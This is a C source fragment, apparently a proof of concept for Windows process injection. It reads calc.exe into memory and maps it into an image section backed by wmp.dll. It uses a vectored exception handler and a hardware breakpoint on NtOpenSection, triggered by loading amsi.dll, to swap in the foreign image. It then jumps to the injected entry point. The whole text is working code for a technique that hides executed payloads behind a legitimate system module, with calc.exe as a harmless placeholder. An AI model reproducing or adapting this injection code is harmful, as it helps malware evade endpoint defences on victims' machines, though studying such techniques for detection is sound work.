PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress;
SIZE_T size = sec->Misc.VirtualSize;
if (!size)
size = sec->SizeOfRawData;
VirtualProtect(addr, size, protect, &old);
}
return TRUE;
}
int
main()
{
DWORD oldProt;
DWORD bytesRead;
// Read PE to inject (calc.exe) into buffer
HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hCalc == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to open calc.exe\n");
return 1;
}
DWORD fileSize = GetFileSize(hCalc, NULL);
BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL);
CloseHandle(hCalc);
// Parse headers of PE to inject
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew);
// Force DLL characteristics and zero out entrypoint
DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;
if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))
{
nt->FileHeader.Characteristics |= IMAGE_FILE_DLL;
nt->OptionalHeader.AddressOfEntryPoint = 0;
}
// Create SEC_IMAGE section from wmp.dll
HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hWmp == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to open wmp.dll\n");
return 1;
}
NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp);
CloseHandle(hWmp);
if (status < 0)
{
printf("[-] NtCreateSection failed: 0x%08X\n", status);
return 1;
}
status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);
if (status < 0)
{
printf("[-] NtMapViewOfSection failed: 0x%08X\n", status);
return 1;
}
// Make headers and image of wmp.dll writeable and wipe it
VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);
memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);
// Copy headers and sections from PE to inject into the section
CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);
HeapFree(GetProcessHeap(), 0, pTargetPeBuf);
// Apply relocations & section protections
ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);
ApplySectionProtections(gBaseAddress);
printf("[*] Section ready:\n");
printf(" BaseAddress = %p\n", gBaseAddress);
printf(" ViewSize = %zu\n", gViewSize);
printf(" Section = %p\n", gSectionHandle);
// Register VEH and set HWBP
PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);
SetHardwareBreakpoint(NtOpenSection, NULL);
// Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow
HMODULE base = LoadLibraryW(L"amsi.dll");
if (!base)
{
printf("[-] Failed to load library\n");
return 1;
}
printf("[*] Loaded at 0x%llx\r\n", base);
RemoveVectoredExceptionHandler(InjectHandler);
// Invoke entrypoint
PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;
printf("[*] Jumping to entrypoint at %p\n", entryPoint);
((void (*)())entryPoint)();
return 0;
}